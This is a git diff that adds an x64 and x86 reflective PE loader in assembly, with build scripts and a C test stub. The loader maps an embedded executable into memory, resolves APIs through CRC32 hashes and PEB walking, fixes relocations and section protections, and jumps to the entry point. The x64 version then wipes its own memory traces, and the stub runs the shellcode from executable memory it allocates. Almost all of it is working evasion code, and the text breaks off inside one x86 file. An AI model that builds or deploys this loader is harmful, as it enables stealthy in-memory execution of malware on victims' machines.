(FG & BG) +RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" +MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" +REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" +MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" +RESET="$(printf '\e[0m')" + +print_warning() { + echo ${YELLOW}"[!] ${RESET}${1}" +} +print_error() { + echo "${RED}[-] ${RESET}${1}" +} +print_fatal() { + echo -e ${RED}"[!] $1\n${RESET}" + kill -10 $$ +} +print_good() { + echo "${GREEN}[+] ${RESET}${1}" +} +print_status() { + echo "${YELLOW}[*] ${RESET}${1}" +} + +nasm -f bin loader-x64.asm -o shellcode || print_fatal "nasm failed!" +print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`" +[[ -f shellcode ]] && xxd -i shellcode shellcode.h + +x86_64-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!" +cp test.exe /tmp/ +rm shellcode shellcode.h +print_good "Build done!" diff --git a/loader/loader-x64/inc/calc_crc.asm b/loader/loader-x64/inc/calc_crc.asm new file mode 100644 index 0000000..3e1288f --- /dev/null +++ b/loader/loader-x64/inc/calc_crc.asm @@ -0,0 +1,34 @@ +[BITS 64] + + +calc_crc: + test dx,dx + je loc_1400039c9 + mov r8,rcx + movzx edx,dx + lea eax,[rdx-0x1] + lea rdx,[rcx+rax*1+0x1] + mov eax,0x0 +loc_1400039b8: + crc32 eax,BYTE [r8] + add r8,0x1 + cmp r8,rdx + jne loc_1400039b8 + jmp loc_1400039ea +loc_1400039c9: + movzx edx,BYTE [rcx] + test dl,dl + je loc_1400039eb + add rcx,0x1 + mov eax,0x0 +loc_1400039d9: + crc32 eax,dl + add rcx,0x1 + movzx edx,BYTE [rcx-0x1] + test dl,dl + jne loc_1400039d9 +loc_1400039ea: + ret +loc_1400039eb: + mov eax,0x0 + jmp loc_1400039ea \ No newline at end of file diff --git a/loader/loader-x64/inc/get_module_by_crc.asm b/loader/loader-x64/inc/get_module_by_crc.asm new file mode 100644 index 0000000..6909c4a --- /dev/null +++ b/loader/loader-x64/inc/get_module_by_crc.asm @@ -0,0 +1,37 @@ +[BITS 64] + + +get_module_by_crc: + push rdi + push rsi + push rbx + sub rsp,0x20 + mov esi,ecx + mov rax,QWORD gs:0x60 + mov rax,QWORD [rax+0x18] + lea rdi,[rax+0x20] + mov rbx,QWORD [rax+0x20] + cmp rdi,rbx + je loc_140102e89 +loc_140102e5d: + movzx edx,WORD [rbx+0x48] + mov rcx,QWORD [rbx+0x50] + call calc_crc + cmp eax,esi + je loc_140102e7d + mov rbx,QWORD [rbx] + cmp rdi,rbx + jne loc_140102e5d + mov eax,0x0 + jmp loc_140102e81 +loc_140102e7d: + mov rax,QWORD [rbx+0x20] +loc_140102e81: + add rsp,0x20 + pop rbx + pop rsi + pop rdi + ret +loc_140102e89: + mov eax,0x0 + jmp loc_140102e81 diff --git a/loader/loader-x64/inc/get_proc_by_crc.asm b/loader/loader-x64/inc/get_proc_by_crc.asm new file mode 100644 index 0000000..4e15834 --- /dev/null +++ b/loader/loader-x64/inc/get_proc_by_crc.asm @@ -0,0 +1,139 @@ +[BITS 64] + + +get_proc_by_crc: + push r15 + push r14 + push r13 + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x258 + mov rbx,rcx + mov r13d,edx + mov ebp,r8d + movsxd rax,DWORD [rcx+0x3c] + add rax,rcx + mov esi,DWORD [rax+0x88] + add rsi,rcx + mov eax,DWORD [rax+0x8c] + mov DWORD [rsp+0x2c],eax + mov r12d,DWORD [rsi+0x20] + mov r14d,DWORD [rsi+0x1c] + mov r15d,DWORD [rsi+0x24] + mov eax,DWORD [rsi+0x18] + test eax,eax + je loc_140003764 + mov eax,eax + mov QWORD [rsp+0x20],rax + mov edi,0x0 + add r12,rcx +loc_1400035dc: + mov ecx,DWORD [r12+rdi*4] + add rcx,rbx + mov edx,0x0 + call calc_crc + cmp ebp,edi + je loc_14000360b + cmp eax,r13d + je loc_14000360b + add rdi,0x1 + cmp QWORD [rsp+0x20],rdi + jne loc_1400035dc + mov eax,0x0 + jmp loc_140003738 +loc_14000360b: + lea rax,[rbx+rdi*2] + movzx eax,WORD [rax+r15*1] + lea rax,[rbx+rax*4] + mov eax,DWORD [rax+r14*1] + add rbx,rax + cmp rbx,rsi + jb loc_140003735 + mov eax,DWORD [rsp+0x2c] + add rsi,rax + cmp rbx,rsi + jae loc_140003735 + mov QWORD [rsp+0x30],0x0 + mov QWORD [rsp+0x38],0x0 + lea rdi,[rsp+0x40] + mov eax,0x0 + mov ecx,0x1e + rep stosq + mov DWORD [rdi],0x0 + mov QWORD [rsp+0x140],0x0 + mov QWORD [rsp+0x148],0x0 + lea rdi,[rsp+0x150] + mov ecx,0x1e + rep stosq + mov DWORD [rdi],0x0 + cmp BYTE [rbx],0x2e + je loc_14000374c + mov eax,0x1 +loc_14000369e: + mov r8,rax + add rax,0x1 + cmp BYTE [rbx+rax*1-0x1],0x2e + jne loc_14000369e + mov esi,r8d +loc_1400036af: + lea rcx,[rsp+0x30] + mov rdx,rbx + call memcpy + lea ecx,[rsi+0x1] + movsxd rcx,ecx + add rcx,rbx + cmp BYTE [rcx],0x0 + je loc_14000375c + mov eax,0x1 + movsxd rdx,esi + add rdx,rbx +loc_1400036d9: + mov r8,rax + add rax,0x1 + cmp BYTE [rdx+rax*1],0x0 + jne loc_1400036d9 +loc_1400036e6: + lea rax,[rsp+0x140] + mov rdx,rcx + mov rcx,rax + call memcpy + lea rcx,[rsp+0x30] + call load_module + mov rbx,rax + mov eax,0x0 + test rbx,rbx + je loc_140003738 + lea rcx,[rsp+0x140] + mov edx,0x0 + call calc_crc + mov edx,eax + mov r8d,0xffffffff + mov rcx,rbx + call get_proc_by_crc + mov rbx,rax +loc_140003735: + mov rax,rbx +loc_140003738: + add rsp,0x258 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + pop r13 + pop r14 + pop r15 + ret +loc_14000374c: + mov esi,0x0 + mov r8d,0x0 + jmp loc_1400036af +loc_14000375c: + mov r8d,0x0 + jmp loc_1400036e6 +loc_140003764: + mov eax,0x0 + jmp loc_140003738 \ No newline at end of file diff --git a/loader/loader-x64/inc/load_module.asm b/loader/loader-x64/inc/load_module.asm new file mode 100644 index 0000000..f91d207 --- /dev/null +++ b/loader/loader-x64/inc/load_module.asm @@ -0,0 +1,60 @@ +[BITS 64] + + +load_module: + push rdi + sub rsp,0x250 + mov r8,rcx + mov QWORD [rsp+0x248],0x0 + mov DWORD [rsp+0x234],0x0 + lea rdi,[rsp+0x20] + mov ecx,0x41 + mov eax,0x0 + rep stosq + cmp BYTE [r8],0x0 + je loc_140003873 + mov edx,0x1 +loc_1400037eb: + mov rax,rdx + add rdx,0x1 + cmp BYTE [r8+rdx*1-0x1],0x0 + jne loc_1400037eb + lea edx,[rax+rax*1] + mov WORD [rsp+0x230],dx + add edx,0x2 + mov WORD [rsp+0x232],dx + lea rdx,[rsp+0x20] + mov QWORD [rsp+0x238],rdx + sub eax,0x1 + js loc_140003837 + cdqe +loc_140003824: + movsx dx,BYTE [r8+rax*1] + mov WORD [rsp+rax*2+0x20],dx + sub rax,0x1 + test eax,eax + jns loc_140003824 +loc_140003837: + lea r9,[rsp+0x248] + lea r8,[rsp+0x230] + mov edx,0x0 + mov ecx,0x0 + mov r10, 0xB4EBB9A4 + call api_call + call rax ; + test eax,eax + js loc_14000386c + mov rax,QWORD [rsp+0x248] +loc_140003863: + add rsp,0x250 + pop rdi + ret +loc_14000386c: + mov eax,0x0 + jmp loc_140003863 +loc_140003873: + mov WORD [rsp+0x230],0x0 + mov WORD [rsp+0x232],0x2 + lea rax,[rsp+0x20] + mov QWORD [rsp+0x238],rax + jmp loc_140003837 \ No newline at end of file diff --git a/loader/loader-x64/inc/map_image.asm b/loader/loader-x64/inc/map_image.asm new file mode 100644 index 0000000..b7cb865 --- /dev/null +++ b/loader/loader-x64/inc/map_image.asm @@ -0,0 +1,61 @@ +[BITS 64] + + +map_image: + push rbp + push rdi + push rsi + push rbx + sub rsp,0x48 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + mov eax,0x0 + cmp DWORD [rdi],0x4550 + jne loc_1400020b8 + mov QWORD [rsp+0x38],0x0 + mov eax,DWORD [rdi+0x50] + mov QWORD [rsp+0x30],rax + lea rdx,[rsp+0x38] + mov DWORD [rsp+0x28],0x4 + mov DWORD [rsp+0x20],0x103000 + lea r9,[rsp+0x30] + mov r8d,0x0 + mov rcx,0xffffffffffffffff + mov r10, 0x99CE7C55 + call api_call + call rax ; + mov edx,eax + mov eax,0x0 + test edx,edx + js loc_1400020b8 + mov r8d,DWORD [rdi+0x54] + mov rdx,rbp + mov rcx,QWORD [rsp+0x38] + call memcpy + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + cmp WORD [rdi+0x6],0x0 + je loc_1400020b3 + mov esi,0x0 +loc_14000208d: + mov ecx,DWORD [rbx+0xc] + add rcx,QWORD [rsp+0x38] + mov edx,DWORD [rbx+0x14] + add rdx,rbp + mov r8d,DWORD [rbx+0x10] + call memcpy + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jg loc_14000208d +loc_1400020b3: + mov rax,QWORD [rsp+0x38] +loc_1400020b8: + add rsp,0x48 + pop rbx + pop rsi + pop rdi + pop rbp + ret \ No newline at end of file diff --git a/loader/loader-x64/inc/memcpy.asm b/loader/loader-x64/inc/memcpy.asm new file mode 100644 index 0000000..7148460 --- /dev/null +++ b/loader/loader-x64/inc/memcpy.asm @@ -0,0 +1,17 @@ +[BITS 64] + +; memcpy(&dst, &src, size) +; RCX = &dst +; RDX = &src +; R8 = size +memcpy: + push rsi + push rdi + mov rdi,rcx + mov rsi,rdx + mov rcx,r8 +copy_byte: + rep movsb ; Copy the CX number of bytes from RSI to RDI + pop rdi ; Restore RDI + pop rsi ; Restore RSI + ret ; Return \ No newline at end of file diff --git a/loader/loader-x64/inc/protect_sections.asm b/loader/loader-x64/inc/protect_sections.asm new file mode 100644 index 0000000..2d5941e --- /dev/null +++ b/loader/loader-x64/inc/protect_sections.asm @@ -0,0 +1,132 @@ +[BITS 64] + + +protect_sections: + push r14 + push r13 + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x50 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + mov QWORD [rsp+0x48],0x0 + cmp WORD [rdi+0x6],0x0 + je loc_140002e87 + mov esi,0x0 + mov r12d,0x0 + lea r14,[rsp+0x40] + lea r13,[rsp+0x48] + jmp loc_140002f50 +loc_140002e38: + mov ecx,0x1 +loc_140002e3d: + and eax,0x60000000 + mov r8d,0x1 + cmp eax,0x60000000 + mov r9d,0x20 + mov eax,0x80 + cmovne r9d,eax + jmp loc_140002eed +loc_140002e61: + mov r9d,0x20 + jmp loc_140002efd +loc_140002e6c: + mov eax,0x0 + jmp loc_140002e78 +loc_140002e73: + mov eax,0x1 +loc_140002e78: + add rsp,0x50 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + pop r13 + pop r14 + ret +loc_140002e87: + mov eax,0x1 + jmp loc_140002e78 +loc_140002e8e: + mov ecx,0x1 + mov r8d,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002e9e: + mov ecx,r12d + test eax,0x20000000 + je loc_140002eda + mov ecx,0x0 + test eax,eax + js loc_140002e3d + mov ecx,eax + shr ecx,0x1f + mov r8d,ecx + mov ecx,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002ec4: + test eax,0x20000000 + jne loc_140002e38 + mov ecx,0x1 + mov r9d,0x4 +loc_140002eda: + mov r8d,r12d +loc_140002edd: + and eax,0x60000000 + cmp eax,0x60000000 + je loc_140002e61 +loc_140002eed: + test cl,cl + je loc_140002efd + test r8b,r8b + mov eax,0x40 + cmovne r9d,eax +loc_140002efd: + mov eax,DWORD [rdx+0xc] + add rax,rbp + mov QWORD [rsp+0x48],rax + mov eax,DWORD [rdx+0x10] + mov QWORD [rsp+0x40],rax + mov DWORD [rsp+0x3c],0x0 + lea rax,[rsp+0x3c] + mov QWORD [rsp+0x20],rax + mov r8,r14 + mov rdx,r13 + mov rcx,0xffffffffffffffff + mov r10, 0x6EDE4D41 + call api_call + call rax ; + test eax,eax + js loc_140002e6c +loc_140002f3d: + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jle loc_140002e73 +loc_140002f50: + mov rdx,rbx + mov eax,DWORD [rbx+0x24] + test eax,eax + je loc_140002f3d + mov r9d,eax + sar r9d,0x1f + and r9d,0xffffffc8 + add r9d,0x40 + test eax,0x40000000 + je loc_140002e9e + test eax,eax + js loc_140002ec4 + test eax,0x20000000 + jne loc_140002e8e + mov ecx,0x1 + mov r9d,0x2 + jmp loc_140002eda \ No newline at end of file diff --git a/loader/loader-x64/inc/relocate_image.asm b/loader/loader-x64/inc/relocate_image.asm new file mode 100644 index 0000000..ad8552a --- /dev/null +++ b/loader/loader-x64/inc/relocate_image.asm @@ -0,0 +1,58 @@ +[BITS 64] + + +relocate_image: + mov r9,rcx + movsxd rdx,DWORD [rcx+0x3c] + add rdx,rcx + mov eax,DWORD [rdx+0xb0] + mov ecx,0x0 + test eax,eax + je loc_14000261a + mov eax,eax + lea rcx,[r9+rax*1] + mov r10,r9 + sub r10,QWORD [rdx+0x30] + cmp DWORD [rcx],0x0 + jne loc_140002601 + mov ecx,0x1 + jmp loc_14000261a +loc_1400025bd: + mov edx,DWORD [rcx] + movzx r8d,WORD [rax] + and r8d,0xfff + add rdx,r8 + add QWORD [r9+rdx*1],r10 +loc_1400025d1: + add rax,0x2 + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + je loc_1400025f9 +loc_1400025e0: + movzx edx,BYTE [rax+0x1] + mov r8d,edx + and r8d,0xfffffff0 + cmp r8b,0xa0 + je loc_1400025bd + cmp dl,0xf + jbe loc_1400025d1 + jmp loc_1400025d1 +loc_1400025f9: + mov rcx,rax +loc_1400025fc: + cmp DWORD [rcx],0x0 + je loc_140002615 +loc_140002601: + lea rax,[rcx+0x8] + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + jne loc_1400025e0 + mov rcx,rdx + jmp loc_1400025fc +loc_140002615: + mov ecx,0x1 +loc_14000261a: + mov eax,ecx + ret \ No newline at end of file diff --git a/loader/loader-x64/inc/resolve_imports.asm b/loader/loader-x64/inc/resolve_imports.asm new file mode 100644 index 0000000..448373b --- /dev/null +++ b/loader/loader-x64/inc/resolve_imports.asm @@ -0,0 +1,85 @@ +[BITS 64] + + +resolve_imports: + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x20 + mov rbp,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0x90] + mov edx,0x0 + test eax,eax + je loc_140002966 + mov eax,eax + lea r12,[rcx+rax*1] + mov ecx,DWORD [r12+0xc] + test ecx,ecx + jne loc_14000292f + mov edx,0x1 + jmp loc_140002966 +loc_1400028cf: + mov edx,0x0 + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_1400028e4: + add rbx,0x8 + add rsi,0x8 + mov r8,QWORD [rbx] + test r8,r8 + je loc_140002922 +loc_1400028f4: + test r8,r8 + js loc_1400028cf + lea rcx,[rbp+r8*1+0x2] + mov edx,0x0 + call calc_crc + mov edx,eax + mov r8d,0xffffffff + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_140002920: + jmp loc_1400028e4 +loc_140002922: + add r12,0x14 + mov ecx,DWORD [r12+0xc] + test ecx,ecx + je loc_14000295a +loc_14000292f: + mov ecx,ecx + add rcx,rbp + call load_module + mov rdi,rax + test rax,rax + je loc_140002961 + mov ebx,DWORD [r12] + add rbx,rbp + mov esi,DWORD [r12+0x10] + add rsi,rbp + mov r8,QWORD [rbx] + test r8,r8 + jne loc_1400028f4 + jmp loc_140002922 +loc_14000295a: + mov edx,0x1 + jmp loc_140002966 +loc_140002961: + mov edx,0x0 +loc_140002966: + mov eax,edx + add rsp,0x20 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + ret \ No newline at end of file diff --git a/loader/loader-x64/inc/run_tls_callbacks.asm b/loader/loader-x64/inc/run_tls_callbacks.asm new file mode 100644 index 0000000..65ca260 --- /dev/null +++ b/loader/loader-x64/inc/run_tls_callbacks.asm @@ -0,0 +1,36 @@ +[BITS 64] + + +run_tls_callbacks: + push rsi + push rbx + sub rsp,0x28 + mov rsi,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0xd0] + mov edx,0x0 + test eax,eax + je loc_1400033ad + mov eax,eax + mov rbx,QWORD [rcx+rax*1+0x18] + mov edx,0x1 + test rbx,rbx + jne loc_1400033ca +loc_1400033ad: + mov eax,edx + add rsp,0x28 + pop rbx + pop rsi + ret +loc_1400033b6: + mov r8d,0x0 + mov edx,0x1 + mov rcx,rsi + call rax + add rbx,0x8 +loc_1400033ca: + mov rax,QWORD [rbx] + test rax,rax + jne loc_1400033b6 + mov edx,0x1 + jmp loc_1400033ad \ No newline at end of file diff --git a/loader/loader-x64/loader-x64-lite.asm b/loader/loader-x64/loader-x64-lite.asm new file mode 100644 index 0000000..9b357f2 --- /dev/null +++ b/loader/loader-x64/loader-x64-lite.asm @@ -0,0 +1,52 @@ +;#==============================================# +;# X64 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#==============================================# +; +[BITS 64] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 +loader_size equ pe_start-loader + + + call loader ; Get the address of PE image to stack +loader: + pop rsi ; Get current address to RSI + add rsi, loader_size ; Add the total loader size + push rbp ; Save RBP + mov rbp,rsp ; Create a stack frame + mov rcx,rsi ; Move the image address as first parameter + call map_image ; Perform PE image mapping + mov rdi, rax ; Get the address of mapped PE image into RDI + mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter + call resolve_imports ; Resolve image imports + mov rcx, rdi ; Set the mapped image address as first parameter + call relocate_image ; Perform image base relocation + mov rcx, rdi ; Set the mapped image address as first parameter + call protect_sections ; Apply proper section memory protections + mov rcx, rdi ; Set the mapped image address as first parameter + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + xor rax, rax ; Clear out RAX + mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset + mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX + add rax,rdi ; Add the AOE onto new image base + cld ; Clear direction flags + mov rsp, rbp ; Restore stack frame + pop rbp ; Restore RBP + jmp rax ; Jmp to the PE->AOE + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x64.asm" + ;------------------------ FUNCTIONS ------------------------------------- +pe_start: \ No newline at end of file diff --git a/loader/loader-x64/loader-x64.asm b/loader/loader-x64/loader-x64.asm new file mode 100644 index 0000000..0a11632 --- /dev/null +++ b/loader/loader-x64/loader-x64.asm @@ -0,0 +1,61 @@ +;#==============================================# +;# X64 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#==============================================# +; +[BITS 64] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 + + call start ; Get the address of PE image to stack + incbin "putty.exe" ; PE file. +start: + pop rsi ; Get the address of PE to RSI + push rbp ; Save RBP + mov rbp,rsp ; Create a stack frame + mov rcx,rsi ; Move the image address as first parameter + call map_image ; Perform PE image mapping + mov rdi, rax ; Get the address of mapped PE image into RDI + mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter + call resolve_imports ; Resolve image imports + mov rcx, rdi ; Set the mapped image address as first parameter + call relocate_image ; Perform image base relocation + mov rcx, rdi ; Set the mapped image address as first parameter + call protect_sections ; Apply proper section memory protections + mov rcx, rdi ; Set the mapped image address as first parameter + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + xor rax, rax ; Clear out RAX + mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset + mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX + add rax,rdi ; Add the AOE onto new image base + jmp wipe ; Start wiping memory artifacts... + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x64.asm" + ;------------------------ FUNCTIONS ------------------------------------- +wipe: + wipe_len_delta equ wipe_end-wipe + call $+5 ; Get current EIP to stack + pop rcx ; Pop currect EIP to RCX + sub rcx,rsi ; Calculate the size of the PE file + add rcx,wipe_len_delta ; Add the size of wipe code + mov rdi,rsi ; Move the PE address to RDI + sub rdi,0x5 ; Go back 5 bytes for wiping the initial call as well +wipe_end: + rep stosb ; Store AL into RDI and decrement RDI until RCX = 0 + ; -------------------- SWITCH TO PE ---------------------------- + cld ; Clear direction flags + mov rsp, rbp ; Restore stack frame + pop rbp ; Restore RBP + jmp rax ; Jmp to the PE->AOE \ No newline at end of file diff --git a/loader/loader-x64/stub.c b/loader/loader-x64/stub.c new file mode 100755 index 0000000..151a4ad --- /dev/null +++ b/loader/loader-x64/stub.c @@ -0,0 +1,10 @@ +#include +#include "shellcode.h" + +int main(int argc, char const *argv[]) +{ + char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(BUFFER, shellcode, sizeof(shellcode)); + (*(void(*)())BUFFER)(); + return 0; +} diff --git a/loader/loader-x86/amber_loader-x86-lite.bin b/loader/loader-x86/amber_loader-x86-lite.bin new file mode 100644 index 0000000..b6bdbc3 Binary files /dev/null and b/loader/loader-x86/amber_loader-x86-lite.bin differ diff --git a/loader/loader-x86/build.sh b/loader/loader-x86/build.sh new file mode 100755 index 0000000..82dc6ef --- /dev/null +++ b/loader/loader-x86/build.sh @@ -0,0 +1,33 @@ +#!/bin/bash +## ANSI Colors (FG & BG) +RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" +MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" +REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" +MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" +RESET="$(printf '\e[0m')" + +print_warning() { + echo ${YELLOW}"[!] ${RESET}${1}" +} +print_error() { + echo "${RED}[-] ${RESET}${1}" +} +print_fatal() { + echo -e ${RED}"[!] $1\n${RESET}" + kill -10 $$ +} +print_good() { + echo "${GREEN}[+] ${RESET}${1}" +} +print_status() { + echo "${YELLOW}[*] ${RESET}${1}" +} + +nasm -f bin loader-x86.asm -o shellcode || print_fatal "nasm failed!" +print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`" +[[ -f shellcode ]] && xxd -i shellcode shellcode.h + +i686-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!" +cp test.exe /tmp/ +rm shellcode shellcode.h +print_good "Build done!" diff --git a/loader/loader-x86/inc/calc_crc.asm b/loader/loader-x86/inc/calc_crc.asm new file mode 100644 index 0000000..26c8e6d --- /dev/null +++ b/loader/loader-x86/inc/calc_crc.asm @@ -0,0 +1,31 @@ +[BITS 32] + + +calc_crc: +loc_40b22f: mov eax,DWORD [esp+0x4] +loc_40b233: mov edx,DWORD [esp+0x8] +loc_40b237: test dx,dx +loc_40b23a: je loc_40b256 +loc_40b23c: mov ecx,eax +loc_40b23e: movzx edx,dx +loc_40b241: add eax,edx +loc_40b243: mov edx,0x0 +loc_40b248: crc32 edx,BYTE [ecx] +loc_40b24d: add ecx,0x1 +loc_40b250: cmp ecx,eax +loc_40b252: jne loc_40b248 +loc_40b254: jmp loc_40b275 +loc_40b256: movzx ecx,BYTE [eax] +loc_40b259: test cl,cl +loc_40b25b: je loc_40b278 +loc_40b25d: add eax,0x1 +loc_40b260: mov edx,0x0 +loc_40b265: crc32 edx,cl +loc_40b26a: add eax,0x1 +loc_40b26d: movzx ecx,BYTE [eax-0x1] +loc_40b271: test cl,cl +loc_40b273: jne loc_40b265 +loc_40b275: mov eax,edx +loc_40b277: ret +loc_40b278: mov edx,0x0 +loc_40b27d: jmp loc_40b275 diff --git a/loader/loader-x86/inc/get_module_by_crc.asm b/loader/loader-x86/inc/get_module_by_crc.asm new file mode 100644 index 0000000..c2432d0 --- /dev/null +++ b/loader/loader-x86/inc/get_module_by_crc.asm @@ -0,0 +1,35 @@ +[BITS 32] + + +get_module_by_crc: +loc_4077e7: push edi +loc_4077e8: push esi +loc_4077e9: push ebx +loc_4077ea: sub esp,0x8 +loc_4077ed: mov edi,DWORD [esp+0x18] +loc_4077f1: mov eax,fs:0x30 +loc_4077f7: mov eax,DWORD [eax+0xc] +loc_4077fa: lea esi,[eax+0x14] +loc_4077fd: mov ebx,DWORD [eax+0x14] +loc_407800: cmp esi,ebx +loc_407802: je loc_407832 +loc_407804: movzx eax,WORD [ebx+0x24] +loc_407808: mov DWORD [esp+0x4],eax +loc_40780c: mov eax,DWORD [ebx+0x28] +loc_40780f: mov DWORD [esp],eax +loc_407812: call calc_crc +loc_407817: cmp eax,edi +loc_407819: je loc_407828 +loc_40781b: mov ebx,DWORD [ebx] +loc_40781d: cmp esi,ebx +loc_40781f: jne loc_407804 +loc_407821: mov eax,0x0 +loc_407826: jmp loc_40782b +loc_407828: mov eax,DWORD [ebx+0x10] +loc_40782b: add esp,0x8 +loc_40782e: pop ebx +loc_40782f: pop esi +loc_407830: pop edi +loc_407831: ret +loc_407832: mov eax,0x0 +loc_407837: jmp loc_40782b diff --git a/loader/loader-x86/inc/get_proc_by_crc.asm b/loader/loader-x86/inc/get_proc_by_crc.asm new file mode 100644 index 0000000..41d9993 --- /dev/null +++ b/loader/loader-x86/inc/get_proc_by_crc.asm @@ -0,0 +1,124 @@ +[BITS 32] + + +get_proc_by_crc: +loc_408e97: push ebp +loc_408e98: mov ebp,esp +loc_408e9a: push edi +loc_408e9b: push esi +loc_408e9c: push ebx +loc_408e9d: and esp,0xfffffff0 +loc_408ea0: sub esp,0x240 +loc_408ea6: mov ebx,DWORD [ebp+0x8] +loc_408ea9: mov eax,ebx +loc_408eab: add eax,DWORD [ebx+0x3c] +loc_408eae: mov edx,ebx +loc_408eb0: add edx,DWORD [eax+0x78] +loc_408eb3: mov eax,DWORD [eax+0x7c] +loc_408eb6: mov DWORD [esp+0x1c],eax +loc_408eba: mov edi,DWORD [edx+0x20] +loc_408ebd: mov eax,DWORD [edx+0x1c] +loc_408ec0: mov DWORD [esp+0x2c],eax +loc_408ec4: mov eax,DWORD [edx+0x24] +loc_408ec7: mov DWORD [esp+0x28],eax +loc_408ecb: mov ecx,DWORD [edx+0x18] +loc_408ece: test ecx,ecx +loc_408ed0: je loc_409041 +loc_408ed6: mov esi,0x0 +loc_408edb: add edi,ebx +loc_408edd: mov DWORD [esp+0x24],edx +loc_408ee1: mov DWORD [esp+0x20],ecx +loc_408ee5: mov DWORD [esp+0x4],0x0 +loc_408eed: mov eax,ebx +loc_408eef: add eax,DWORD [edi+esi*4] +loc_408ef2: mov DWORD [esp],eax +loc_408ef5: call calc_crc +loc_408efa: cmp DWORD [ebp+0x10],esi +loc_408efd: je loc_408f19 +loc_408eff: cmp eax,DWORD [ebp+0xc] +loc_408f02: je loc_408f19 +loc_408f04: add esi,0x1 +loc_408f07: mov eax,DWORD [esp+0x20] +loc_408f0b: cmp esi,eax +loc_408f0d: jne loc_408ee5 +loc_408f0f: mov eax,0x0 +loc_408f14: jmp loc_409023 +loc_408f19: mov edx,DWORD [esp+0x24] +loc_408f1d: lea eax,[ebx+esi*2] +loc_408f20: mov ecx,DWORD [esp+0x28] +loc_408f24: movzx eax,WORD [eax+ecx*1] +loc_408f28: lea eax,[ebx+eax*4] +loc_408f2b: mov ecx,DWORD [esp+0x2c] +loc_408f2f: add ebx,DWORD [eax+ecx*1] +loc_408f32: cmp ebx,edx +loc_408f34: jb loc_409021 +loc_408f3a: mov eax,DWORD [esp+0x1c] +loc_408f3e: add edx,eax +loc_408f40: cmp ebx,edx +loc_408f42: jae loc_409021 +loc_408f48: vpxor xmm0,xmm0,xmm0 +loc_408f4c: vmovdqu 